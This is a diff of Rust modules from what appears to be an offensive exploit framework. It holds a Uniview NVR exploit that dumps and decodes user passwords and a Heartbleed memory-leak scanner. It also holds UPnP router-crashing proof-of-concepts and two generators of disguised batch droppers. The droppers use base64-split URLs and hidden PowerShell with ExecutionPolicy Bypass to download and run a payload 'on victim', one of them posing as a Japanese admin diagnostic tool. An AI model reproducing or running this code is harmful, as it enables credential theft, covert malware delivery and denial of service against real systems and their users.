let target = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_resp = client.get(&version_url).send().await?;
|
||||
let version_text = version_resp.text().await?;
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch version")?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
@@ -75,73 +124,75 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open success.txt log file")?;
|
||||
.context("Unable to open nvr-success.txt")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
|
||||
let config_resp = client.get(&config_url).send().await?;
|
||||
let config_text = config_resp.text().await?;
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
);
|
||||
let config_text = client
|
||||
.get(&config_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch config")?;
|
||||
|
||||
// XML reader with trimmed text
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
|
||||
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
|
||||
println!("_____________________________________________________________________________");
|
||||
|
||||
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
|
||||
writeln!(log, "_____________________________________________________________________________").ok();
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event() {
|
||||
match reader.read_event_into(&mut buf) {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut userpass = String::new();
|
||||
let mut revpass = String::new();
|
||||
let mut user_hash = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => {
|
||||
username = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"UserPass") => {
|
||||
userpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"RvsblePass") => {
|
||||
revpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
|
||||
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Number of users found: {}", total_users);
|
||||
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
|
||||
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
|
||||
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -15,8 +15,23 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
println!("[*] Connecting to {}:{}...", target, port);
|
||||
let addr = format!("{}:{}", target, port);
|
||||
// 1) Trim whitespace and strip _all_ bracket layers:
|
||||
let raw = target.trim();
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
// 3) Build the addr string with port:
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
@@ -42,7 +57,7 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
@@ -79,7 +94,7 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
|
||||
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
|
||||
let path = Path::new(&filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
|
||||
@@ -0,0 +1,141 @@
|
||||
use anyhow::Result;
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
io::{self, Write},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{prompt}");
|
||||
io::stdout().flush()?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn base64_split_encode(url: &str) -> (String, String) {
|
||||
let mid = url.len() / 2;
|
||||
let (first, second) = url.split_at(mid);
|
||||
let first_encoded = BASE64_STANDARD.encode(first);
|
||||
let second_encoded = BASE64_STANDARD.encode(second);
|
||||
(first_encoded, second_encoded)
|
||||
}
|
||||
|
||||
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
|
||||
let mut symbols = vec![
|
||||
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
|
||||
"✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
|
||||
];
|
||||
let mut rng = rng();
|
||||
symbols.shuffle(&mut rng);
|
||||
|
||||
let s2 = symbols[0].to_string();
|
||||
let s3 = symbols[1].to_string();
|
||||
let s4 = symbols[2].to_string();
|
||||
let _f1 = symbols[3].to_string();
|
||||
let _f2 = symbols[4].to_string();
|
||||
let _f3 = symbols[5].to_string();
|
||||
|
||||
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
|
||||
let _stage1 = Path::new(stage1_path);
|
||||
let _stage2 = base.join(format!("{s2}.bat"));
|
||||
let _stage3 = base.join(format!("{s3}.bat"));
|
||||
let _stage4 = base.join(format!("{s4}.bat"));
|
||||
|
||||
// Encode URL
|
||||
let (part1_b64, part2_b64) = base64_split_encode(url);
|
||||
|
||||
// === Stage 1: writes stage2.bat ===
|
||||
let stage1_contents = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
cls >nul
|
||||
:: Sleep random 1-4 seconds
|
||||
set /a RND=1+%RANDOM%%%4
|
||||
timeout /t %RND% /nobreak >nul
|
||||
|
||||
:: Five explicit 1-second sleeps at stage 1
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
echo Creating next stage...
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 2
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating next stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 3
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating final stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
echo set part1={part1_b64}
|
||||
echo set part2={part2_b64}
|
||||
echo powershell -WindowStyle Hidden -Command ^^"
|
||||
echo $p1 = $env:part1;
|
||||
echo $p2 = $env:part2;
|
||||
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
|
||||
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
|
||||
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
|
||||
echo ^^"
|
||||
echo exit
|
||||
echo ) > "{s4}"
|
||||
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
|
||||
echo start "" /B "{s4}" :: Launch stage 4 in background
|
||||
echo exit
|
||||
echo ) > "{s3}"
|
||||
echo start "" /B "{s3}" :: Launch stage 3 in background
|
||||
echo exit
|
||||
) > "{s2}"
|
||||
|
||||
start "" /B "{s2}" :: Launch stage 2 in background
|
||||
exit
|
||||
"#);
|
||||
|
||||
fs::write(_stage1, stage1_contents)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
|
||||
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
use anyhow::Result;
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
io::{self, Write},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{prompt}");
|
||||
io::stdout().flush()?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn base64_split_encode(url: &str) -> (String, String) {
|
||||
let mid = url.len() / 2;
|
||||
let (first, second) = url.split_at(mid);
|
||||
let first_encoded = BASE64_STANDARD.encode(first);
|
||||
let second_encoded = BASE64_STANDARD.encode(second);
|
||||
(first_encoded, second_encoded)
|
||||
}
|
||||
|
||||
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
|
||||
let mut symbols = vec![
|
||||
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
|
||||
"✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
|
||||
];
|
||||
let mut rng = rng();
|
||||
symbols.shuffle(&mut rng);
|
||||
|
||||
let s2 = symbols[0].to_string();
|
||||
let s3 = symbols[1].to_string();
|
||||
let s4 = symbols[2].to_string();
|
||||
let _f1 = symbols[3].to_string();
|
||||
let _f2 = symbols[4].to_string();
|
||||
let _f3 = symbols[5].to_string();
|
||||
|
||||
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
|
||||
let _stage1 = Path::new(stage1_path);
|
||||
let _stage2 = base.join(format!("{s2}.bat"));
|
||||
let _stage3 = base.join(format!("{s3}.bat"));
|
||||
let _stage4 = base.join(format!("{s4}.bat"));
|
||||
|
||||
// Encode URL
|
||||
let (part1_b64, part2_b64) = base64_split_encode(url);
|
||||
|
||||
// === Stage 1: writes stage2.bat ===
|
||||
let stage1_contents = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
cls >nul
|
||||
:: Sleep random 1-4 seconds
|
||||
set /a RND=1+%RANDOM%%%4
|
||||
timeout /t %RND% /nobreak >nul
|
||||
|
||||
:: Five explicit 1-second sleeps at stage 1
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
echo Creating next stage...
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 2
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating next stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 3
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating final stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
echo set part1={part1_b64}
|
||||
echo set part2={part2_b64}
|
||||
echo powershell -WindowStyle Hidden -Command ^^"
|
||||
echo $p1 = $env:part1;
|
||||
echo $p2 = $env:part2;
|
||||
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
|
||||
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
|
||||
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
|
||||
echo ^^"
|
||||
echo exit
|
||||
echo ) > "{s4}"
|
||||
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
|
||||
echo start "" /B "{s4}" :: Launch stage 4 in background
|
||||
echo exit
|
||||
echo ) > "{s3}"
|
||||
echo start "" /B "{s3}" :: Launch stage 3 in background
|
||||
echo exit
|
||||
) > "{s2}"
|
||||
|
||||
start "" /B "{s2}" :: Launch stage 2 in background
|
||||
exit
|
||||
"#);
|
||||
|
||||
fs::write(_stage1, stage1_contents)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
|
||||
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +1,2 @@
|
||||
pub mod payloadgenbat;
|
||||
pub mod batgen;
|
||||
|
||||
@@ -1,24 +1,18 @@
|
||||
//! Build a two‑stage prank/diagnostic BAT script with stealth download & run.
|
||||
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Read a trimmed line from stdin
|
||||
fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{msg}");
|
||||
io::stdout().flush().ok();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_owned())
|
||||
}
|
||||
|
||||
/// Build the BAT contents (injecting URL & PS1 filename)
|
||||
fn build_script(url: &str, ps1_name: &str) -> String {
|
||||
// Template with placeholders {{URL}} and {{OUTFILE}}
|
||||
let tpl = r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
:: === Delay Functions ===
|
||||
:SleepS
|
||||
rem Usage: call :SleepS ^<seconds^>
|
||||
ping -n %1 127.0.0.1 ^>nul
|
||||
goto :eof
|
||||
|
||||
:SleepMS
|
||||
rem Usage: call :SleepMS ^<milliseconds^>
|
||||
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
|
||||
goto :eof
|
||||
|
||||
title [管理者診断ユーティリティ]
|
||||
color 0A
|
||||
|
||||
@@ -26,108 +20,127 @@ echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] 初期化中...
|
||||
timeout /t 2 >nul
|
||||
call :SleepS 2
|
||||
|
||||
:: Fake diagnostic functions
|
||||
echo [INFO] ネットワークスタック確認中...
|
||||
netsh winsock show catalog >nul
|
||||
netsh winsock show catalog ^>nul
|
||||
call :SleepS 1
|
||||
echo [INFO] システムリソースの照会...
|
||||
fsutil behavior query DisableDeleteNotify >nul
|
||||
fsutil behavior query DisableDeleteNotify ^>nul
|
||||
call :SleepS 1
|
||||
echo [INFO] DCOM設定の確認...
|
||||
dcomcnfg /32 >nul
|
||||
timeout /t 1 >nul
|
||||
dcomcnfg /32 ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] ユーザーアクティビティを確認中...
|
||||
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
|
||||
timeout /t 1 >nul
|
||||
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] 不審な接続をスキャン中...
|
||||
netstat -bno >nul
|
||||
route print >nul
|
||||
timeout /t 1 >nul
|
||||
netstat -bno ^>nul
|
||||
route print ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] システムサービス確認中...
|
||||
sc queryex type= service >nul
|
||||
timeout /t 1 >nul
|
||||
sc queryex type= service ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] WMI チェック中...
|
||||
wmic logicaldisk get caption,filesystem,freespace,size >nul
|
||||
timeout /t 1 >nul
|
||||
wmic logicaldisk get caption,filesystem,freespace,size ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] CPU 負荷チェック...
|
||||
wmic cpu get loadpercentage ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] メモリ空き容量チェック...
|
||||
systeminfo | findstr /C:"Available Physical Memory" ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
echo [INFO] レジストリ設定検証...
|
||||
reg query HKLM\SOFTWARE ^>nul
|
||||
call :SleepS 1
|
||||
|
||||
:: 50x random sub-sleeps
|
||||
echo [*] 詳細検証を実行中... (50 ステップ)
|
||||
for /l %%i in (1,1,50) do (
|
||||
set /a delay=(%%RANDOM%% %% 60) + 120
|
||||
powershell -Command "Start-Sleep -Milliseconds !delay!"
|
||||
set /a delay=(%RANDOM% %% 60) + 120
|
||||
call :SleepMS !delay!
|
||||
)
|
||||
|
||||
:: Random delay before launching stage 2
|
||||
set /a mainDelay=(%%RANDOM%% %% 4) + 3
|
||||
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
|
||||
timeout /t %%mainDelay%% >nul
|
||||
set /a mainDelay=(%RANDOM% %% 4) + 3
|
||||
echo [INFO] 補助診断モジュールを準備中... (%mainDelay% 秒後に実行)
|
||||
call :SleepS %mainDelay%
|
||||
|
||||
:: Build second stage BAT (stage2.bat)
|
||||
set "stage2=%%~dp0stage2.bat"
|
||||
set "stage2=%~dp0stage2.bat"
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal enabledelayedexpansion
|
||||
|
||||
echo :: === Delay Functions ===
|
||||
echo :SleepS
|
||||
echo rem Usage: call :SleepS ^<seconds^>
|
||||
echo ping -n %%1 127.0.0.1 ^>nul
|
||||
echo goto :eof
|
||||
echo
|
||||
echo :SleepMS
|
||||
echo rem Usage: call :SleepMS ^<milliseconds^>
|
||||
echo powershell -Command "Start-Sleep -Milliseconds %%1" ^>nul
|
||||
echo goto :eof
|
||||
echo
|
||||
|
||||
echo title 補助診断モジュール
|
||||
echo echo [*] ネットワークテストを再実行中...
|
||||
echo ping -n 2 1.1.1.1 ^>nul
|
||||
echo tracert -h 2 8.8.8.8
|
||||
echo ipconfig /flushdns
|
||||
echo timeout /t 2 ^>nul
|
||||
echo call :SleepS 2
|
||||
|
||||
echo echo [*] ランダム遅延を実行中...
|
||||
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
|
||||
echo timeout /t !delay2! ^>nul
|
||||
echo set /a delay2=(%%RANDOM%% %% 8) + 3
|
||||
echo call :SleepS !delay2!
|
||||
|
||||
echo echo [*] GitHub からモジュールを取得中...
|
||||
echo set "url={{URL}}"
|
||||
echo set "outfile=%%~dp0{{OUTFILE}}"
|
||||
echo powershell -Command ^
|
||||
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
|
||||
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
|
||||
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
|
||||
echo timeout /t 2 ^>nul
|
||||
echo powershell -Command "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { $wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!','!outfile!') } }"
|
||||
echo if not exist "!outfile!" (
|
||||
echo echo [ERROR] ダウンロードに失敗しました。
|
||||
echo exit /b 1
|
||||
echo )
|
||||
echo call :SleepS 2
|
||||
|
||||
echo echo [*] ステルス起動用VBSを生成中...
|
||||
echo ^(
|
||||
echo Set shell = CreateObject("WScript.Shell"^)
|
||||
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
|
||||
echo Set shell = CreateObject("WScript.Shell")
|
||||
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""!outfile!""", 0, False
|
||||
echo ^) ^> "%%~dp0launch_hidden.vbs"
|
||||
echo timeout /t 1 ^>nul
|
||||
echo call :SleepS 1
|
||||
|
||||
echo echo [*] スクリプト実行中...
|
||||
echo cscript //nologo "%%~dp0launch_hidden.vbs"
|
||||
echo del "%%~dp0launch_hidden.vbs" ^>nul
|
||||
echo del "%%stage2%%" ^>nul
|
||||
echo echo [*] 補助診断完了。
|
||||
) > "%%stage2%%"
|
||||
) > "%stage2%"
|
||||
|
||||
:: Random delay before running stage 2
|
||||
set /a rdelay=(%%RANDOM%% %% 5) + 2
|
||||
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
|
||||
timeout /t %%rdelay%% >nul
|
||||
set /a rdelay=(%RANDOM% %% 5) + 2
|
||||
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
|
||||
call :SleepS %rdelay%
|
||||
|
||||
:: Run stage2
|
||||
call "%%stage2%%"
|
||||
call "%stage2%"
|
||||
|
||||
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
|
||||
call :SleepS 2
|
||||
pause
|
||||
exit
|
||||
"#;
|
||||
|
||||
tpl.replace("{{URL}}", url)
|
||||
.replace("{{OUTFILE}}", ps1_name)
|
||||
}
|
||||
|
||||
/// Public entry point for the exploit dispatcher
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
// === Gather inputs ====================================================
|
||||
let out_bat = prompt("[+] Output BAT filename : ")?;
|
||||
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
|
||||
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
|
||||
|
||||
// === Generate script ===================================================
|
||||
let script = build_script(&raw_url, &ps1_name);
|
||||
fs::write(&out_bat, script)
|
||||
.with_context(|| format!("Could not write {}", out_bat))?;
|
||||
|
||||
println!("\n[+] Batch script saved to: {out_bat}");
|
||||
Ok(())
|
||||
.replace("{{OUTFILE}}", ps1_name)
|
||||
}
|
||||
|
||||
@@ -13,6 +13,17 @@ use std::thread;
|
||||
use std::time::Duration;
|
||||
use tokio::join;
|
||||
|
||||
/// Normalize IPv6/IPv4/hostname and fix extra brackets
|
||||
fn normalize_target_host(raw: &str) -> String {
|
||||
// Remove outer brackets if any, then reapply correctly for IPv6
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{stripped}]")
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send the malformed AddPortMapping SOAP request (PoC 1)
|
||||
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
// Missing parameters PoC - will crash the router
|
||||
@@ -41,7 +52,7 @@ async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
|
||||
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
|
||||
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
// Generate a long payload simulating memory corruption
|
||||
// Memory corruption PoC using format string overflow
|
||||
let long_payload = "%x".repeat(10_000);
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = format!(
|
||||
@@ -70,7 +81,11 @@ async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Entry point for the exploit module
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
pub async fn run(raw_target: &str) -> Result<()> {
|
||||
// Normalize target
|
||||
